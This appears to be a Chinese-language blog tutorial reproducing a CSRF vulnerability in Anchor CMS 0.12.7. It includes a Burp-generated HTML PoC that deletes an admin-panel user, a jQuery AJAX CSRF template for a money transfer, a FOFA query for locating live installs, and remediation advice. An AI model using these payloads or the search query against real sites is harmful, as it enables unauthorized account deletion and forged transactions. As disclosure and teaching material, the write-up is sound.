這個漏洞復現相對來說很簡單,而且這個Anchor CMS也十分適合新手訓練程式碼審計能力。裡面是一個php框架的輕量級設計,通過路由實現的傳遞引數。
0x00 漏洞介紹
Anchor(CMS)是一款優秀的輕量級PHP內容與文章管理程式,並且有著很好的擴充套件性。攻擊者可以構造惡意的html檔案誘導網站管理員點選,從而進行刪除使用者等敏感操作,典型的CSRF漏洞,屬於web應用類漏洞。
0x01 漏洞環境
- 攻擊機、網站管理員:192.168.91.1 windows10
- 目標機:192.168.91.144 Ubuntu 18.04-Server
- 工具:BurpSuite2021以及CSRF POC generator外掛、Firefox(CSRF漏洞復現時,不能使用Chrome,因其自帶遮蔽CSRF)
- CMS版本:Anchor 0.12.7
0x02 漏洞搭建
1、安裝完LAMP後,訪問網址,顯示失敗。是因為Anchor CMS不會自動安裝,需要在終端上安裝,即
apt install -y composer
cd /var/www/html
composer install
2、之後再次訪問網址就可以看到
3、點選安裝之後會出現,是因為我沒有執行apt install libapache2-mod-php
4、之後就進入到安裝語言了,隨便選了一個
5、之後建立資料庫為Anchor
,root使用者密碼:d1HNJg$h1u8
新建一個資料庫使用者
username:root_sql
password:NUIDghde1&
6、設定管理員賬戶
7、安裝成功
8、因為是CSRF的漏洞,我們需要建立使用者,而建立使用者就需要訪問管理員後臺,提示說,請移除install
這個目錄??
9、那行,那我就移除
10、再重新整理果然沒了
11、建立使用者test@1.com
,它的所有資訊都是test@1.com
,然後以此類推,建立多個賬戶
0x03 影響範圍
Anchor 0.12.7
0x04 漏洞條件
管理員輕易點選連結
0x05 漏洞原理
通過程式碼審計,在/anchor/routes/users.php
中,沒有對請求進行任何的二次驗證以及token值校驗,所以直接產生了CSRF漏洞。下面這段程式碼就是這個檔案中的關鍵部分。基於php的路由分配,實質上來說就是利用url中的path去匹配對應的控制類,同時呼叫其中的方法進行相關操作的處理。
/**
* Delete user
*/
Route::get('admin/users/delete/(:num)', function ($id) { //路由定址的地方為admin/users/delete/$num
$self = Auth::user();
if ($self->id == $id) {
Notify::error(__('users.delete_error'));
return Response::redirect('admin/users/edit/' . $id); //刪除錯誤,並且重定向到admin/uses/edit
}
User::where('id', '=', $id)->delete();
Query::table(Base::table('user_meta'))
->where('user', '=', $id)
->delete();
Notify::success(__('users.deleted'));
return Response::redirect('admin/users'); //刪除成功,並且重定向到admin/users
}); //全程沒有任何的校驗機制
});
0x06 漏洞復現
1、進入到管理員後臺刪使用者那裡,開啟Bp,點選刪除使用者後抓包,可以看到是向index.php/admin/users/delete/9
發起請求。
2、傳送至repeater
,點選右鍵,生成對應的CSRF POC
3、複製下來,貼上到一個檔案裡面
4、然後誘導網站管理員進行點選,就會刪除
5、或者更高階,直接將其更改成AJAX
格式,但是這個適用於POST方式的CSRF
<script src="http://code.jquery.com/jquery-latest.js"></script>//引用jquery庫
<script type="text/javascript">
$.ajax({
url: "http://192.168.23.75/bank/action.php", //讓誰接收資料,就寫成誰的IP
type: "POST", //這裡為POST,如果是GET就改成GET就行了。
crossDomain:true, //設定跨域為true。AJAX預設不允許跨域,這裡就是開啟了跨域,但是跨域請求又不帶cookie
xhrFields: {
withCredentials: true //預設情況下,標準的跨域請求是不會傳送cookie的,而不會傳送cookie,這就無法完成CSRF攻擊了。所以只有這個開啟了才可以傳送cookie。所以可以認為沒有這個值的話,相當於cookie被刪除了。
},
data: {
username:"xxx",
money:"10000",
submit:"交易" //表單的屬性和值
}
//dataType: 'json' // tell jQuery not to process the data // tell jQuery not to set contentType
});
</script>
0x07 漏洞修復建議
1、首先要確保不能存在XSS漏洞,存在XSS漏洞的CSRF永遠是防禦不住的。
2、由於CSRF違背的是“不可預測性”原則,所以需要給其新增一個隨機值,也就是token值。
3、新增referer驗證,不同referer的資料包不予接受。
4、新增二次驗證,但是注意是在必要的環節上新增,如果每個頁面每個操作都新增二次驗證,勢必會影響使用者的體驗感。
5、不要輕信GET轉POST就可以防禦CSRF,這是假的。是因為以前的人沒有意識到而已。
6、網站管理員需要提高自身的安全意識,不要隨便點選不明連結等等。
0x08 漏洞POC+EXP分析
來分析一波Bp生成的CSRF POC
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.91.144/index.php/admin/users/delete/9">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<!--很簡單,可以看出來就是一個簡單的表單,誘使其點選,提交資料給網站後臺的php檔案,由於伺服器沒有對其進行二次校驗或者新增隨機數token,導致CSRF漏洞產生。-->
0x09 漏洞挖掘與實戰
FOFA:"Anchor CMS" && body="themes/default/img/favicon.png"
0x10 Reference
https://packetstormsecurity.com/files/161048/anchorcms0127-xsrf.txt